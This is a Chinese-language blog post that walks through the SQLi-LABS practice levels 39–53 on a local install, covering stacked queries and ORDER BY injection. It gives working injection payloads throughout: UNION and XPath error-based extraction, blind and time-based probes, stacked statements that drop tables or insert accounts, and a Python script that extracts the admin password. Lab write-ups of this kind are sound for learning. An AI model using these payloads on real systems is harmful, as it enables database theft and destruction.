Sky's blog

SQLi-LABS(Stacked)(Less-39 ~ Less-53)

字数统计: 2,069阅读时长: 9 min
2017/07/23 Share

前言

查了一下stacked query是堆叠注入
原理:
在SQL中,分号(;)是用来表示一条sql语句的结束。
试想一下我们在分号(;)结束一个sql语句后继续构造下一条语句,会不会一起执行?
因此这个想法也就造就了堆叠注入。
而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?
区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
例如以下这个例子:
用户输入:
1; DELETE FROM products
服务器端生成的sql语句为:(因未对输入的参数进行过滤)
Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

但是这种注入方式存在很大局限性:
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
Ps:
虽然我们前面提到了堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。
在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。
因此,在读取数据时,建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

而这次的39~45题都标注是堆叠注入……
而在Less-39 ~ Less-41我就不用这个方法了,一是好像不能回显,二是我感觉这个注入方式局限性很大,在以后的比赛中可能利用不多(别打脸),如果真遇到了,会另外写文章记录……23333

Less-39

先试了一下:http://localhost/sql/Less-39/?id=1' or '1'='1
得到报错:
to use near '' or '1'='1 LIMIT 0,1' at line 1
猜想应该是没有引号闭合的
随即尝试列数:
http://localhost/sql/Less-39/?id=1 order by 3
发现是3列
然后使用联合查询注入:

1
2
http://localhost/sql/Less-39/?id=2333 union select 233,123,(select 
group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA=database())

此题完结

Less-40

一道盲注题
http://localhost/sql/Less-40/?id=1' and ascii(substr((select database()),1,1))>-1 and '1'='1
可以成功回显……此题完结
脚本可以参照Less-25a

Less-41

依旧是盲注题,没有引号闭合
http://localhost/sql/Less-41/?id=1 and ascii(substr((select database()),1,1))>-1
可以成功回显……此题完结
脚本可以参照Less-25a

Less-42

这题我担心破坏了数据库表结构,所以没有实战
但是大体思路如下:
1.找到有sql且过滤不严格的点
2.进行堆叠注入,例如:

1
2
uname = sky
passwd = 123;create table sky like users#

或者是

1
2
uname = sky
passwd = 123;drop table sky#

但是你觉得…………比赛的时候,这种注入用的会多吗= =

Less-43

这题和Less-42相差不大
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
唯一区别就是加了括号……
就不多赘述了

Less-44

这题是Less-42
盲注……
但是我不知道,这个堆叠注入,盲注和明注的区别在哪里(等能力增强会额外写文章记录)

1
2
username:admin
Password:a';insert into users(id,username,password) values ('233','sky','skycool')#

可以这么玩,插个数据进去……然后自己登陆玩

Less-45

依旧没有多少差别
查询语句如下
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
就是Less-43的盲注……
同样get不到点……所以就过了,可以自己插数据,删表什么的玩

Less-46

当时就很好奇这种排序注入,立刻去看了源码
查询:$sql = "SELECT * FROM users ORDER BY $id";
使用几种尝试:
http://localhost/sql/Less-46/?sort=true
这个方法会回显成功

http://localhost/sql/Less-46/?sort=false
会报错Unknown column 'FALSE' in 'order clause'
随即想可能这样盲注吗?
但是试了几下ascii发现不行,例如:
http://localhost/sql/Less-46/?sort=(ascii(substr((select database()),1,1))>127)

http://localhost/sql/Less-46/?sort=(ascii(substr((select database()),1,1))>1)
回显相同
其实我也是蛮纳闷的,他id把false当做字符串去运行,而把true当做了bool值……好吧
后来想想有没有别方法
想到给ascii外面加个东西,例如rand()
http://localhost/sql/Less-46/?sort=rand(ascii(substr((select database()),1,1))>1)
http://localhost/sql/Less-46/?sort=rand(ascii(substr((select database()),1,1))>127)
回显就有不同……
当然还有一种更快的方法,就是
?sort=1 and rand(ascii(substr((select database()),1,1))>127)
但是写脚本的时候差别信息怎么找呢?
后来看了一下前端代码
可以利用表格最后一行做区分,例如我的是:
superman</td><td>1</td></tr></font></table>代表正确
admin1</td><td>1</td></tr></font></table>代表错误
即可写盲注脚本。
但是回归正题,这是一道可以明注的题,还是用万能的xpath
http://localhost/sql/Less-46/?sort=(updatexml(1,concat(0x7e,(select database()),0x7e),1))
也可以:
http://localhost/sql/Less-46/?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
可以得到回显
XPATH syntax error: '~security~'
所以此题完结

Less-47

上一题没有单引号闭合,这一题加了单引号闭合
$sql = "SELECT * FROM users ORDER BY '$id'
思路不会错,payload:
http://localhost/sql/Less-47/?sort=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23
可以得到回显
XPATH syntax error: '~security~'
所以此题完结

Less-48

这题是Less-46的盲注,方法已经在Less-46里说过
这里就不再赘述了
直接上payload:
http://localhost/sql/Less-48/?sort=rand(ascii(substr((select database()),1,1))>127)

Less-49

这题是Less-47的盲注,本以为方法不会有太大变化,只是多了个引号闭合
但是尝试后发现事情没有这么简单……
尝试第一种:
http://localhost/sql/Less-49/?sort=1' and rand(ascii(substr((select database()),1,1))>127)%23
发现正确和错误没有变化
于是尝试第二种:
http://localhost/sql/Less-49/?sort=1' and ascii(substr((select database()),1,1))>1%23
发现正确和错误依旧没有变化
于是只好思考别的方法,试了一下时间盲注:

1
2
http://localhost/sql/Less-48/?sort=1 and if(((ascii(substr((
select database()) ,1,1)))>1),sleep(2),false)

发现成功了……
脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Author:sky
# -*- coding: utf-8 -*-
import requests

flag = ''
# 爆库
# url1 = 'http://localhost/sql/Less-48/?sort=1 and if(((ascii(substr((select database()),%s,1)))=%d),sleep(2),false)'
# security
# 爆表
#url2 = 'http://localhost/sql/Less-48/?sort=1 and if(((ascii(substr((select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA=database()),%s,1)))=%d),sleep(2),false)'
# emails,referers,uagents,users
# 爆字段
#url3 = 'http://localhost/sql/Less-48/?sort=1 and if(((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),%s,1)))=%d),sleep(2),false)'
# USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
# 拿数据
url4 = 'http://localhost/sql/Less-48/?sort=1 and if(((ascii(substr((select password from users where username="admin"),%s,1)))=%d),sleep(2),false)'
# 2333
for x in range(1,100):
for y in range(33,127):
urll = url4%(x,y)
try:
f = requests.get(url=urll,timeout=1.5)
except:
flag+=chr(y)
print flag
break

Less-50

这题是排序和堆叠一起的注入……但我认为意义不大……
这题是没有引号闭合的

Less-51

这题也是排序和堆叠一起的注入……但我认为意义不大……
这题是有单引号闭合的

Less-52

这题是Less-50的盲注
个人认为没有什么价值(前面提及过)
所以此题完结

Less-53

这题是Less-51的盲注
个人同样认为没有什么价值(前面提及过)
所以此题完结

后记

这次的stacked主要就是2种
一个是堆叠注入,一个是order by注入
但我认为前者可能价值小一些,而后者多多少少学习到了一些order by后参数注入的方法,还是值得学习的!

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. Less-39
  3. 3. Less-40
  4. 4. Less-41
  5. 5. Less-42
  6. 6. Less-43
  7. 7. Less-44
  8. 8. Less-45
  9. 9. Less-46
  10. 10. Less-47
  11. 11. Less-48
  12. 12. Less-49
  13. 13. Less-50
  14. 14. Less-51
  15. 15. Less-52
  16. 16. Less-53
  17. 17. 后记